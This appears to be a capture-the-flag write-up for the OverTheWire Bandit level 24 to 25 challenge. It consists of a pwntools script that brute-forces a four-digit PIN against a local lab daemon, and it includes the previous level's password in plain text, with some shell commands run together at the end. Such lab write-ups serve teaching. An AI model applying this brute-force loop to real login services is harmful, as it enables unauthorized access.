Bandit Level 24 β Level 25



Last updated



Last updated
from pwn import *
remote = remote("localhost", 30002)
remote.recv()
bandit24_password = "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
for i in range(10000):
combination = f"{bandit24_password} {i:04d}"
remote.sendline(combination)
if b"Wrong!" in remote.recvline():
continue
else:
print(remote.recv().decode())
breakcd /tmp/Caesar3vim script.py
:wqcat script.pypython3 script.py